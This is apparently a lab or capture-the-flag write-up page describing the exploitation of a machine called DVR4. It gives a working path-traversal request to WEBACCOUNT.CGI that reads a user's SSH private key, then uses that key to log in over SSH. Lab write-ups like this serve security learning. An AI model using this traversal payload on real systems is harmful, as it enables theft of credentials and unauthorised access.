> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/dvr4/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/dvr4/exploitation.md).

# Exploitation

I was unable to find the system, the sam, and security files to do a hashdump of them. Regardless I realized that the machine wasnt running SMB so this would have been futile. Moreover I realized that just like Linux, ssh id*rsa.pub keys are stored in the folder of the Users/.ssh/id\_rsa.pub.* 

*This is something I will keep in mind if i ever encounter LFI on Windows.* 

![](https://1706128008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5OsoS0EWRil2VLfWYhH%2Fuploads%2FUdrvP8iueZ1RpyRctCIg%2F2022-07-17_00-40.png?alt=media\&token=46bd2675-2537-44e6-aaf2-6869ed020541)

I deduced that the name was "Viewer" because of the panel here. 

![](https://1706128008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5OsoS0EWRil2VLfWYhH%2Fuploads%2F5zSUioyKLsuhlQVuMKGM%2F2022-07-17_00-43.png?alt=media\&token=680ad043-2560-48cd-8532-b4a1a1fce568)

I got the id\_rsa and changed the permissions to 400. Just SShed into it. 

Request:

```
http://192.168.105.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2F.ssh%2Fid_rsa&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=
```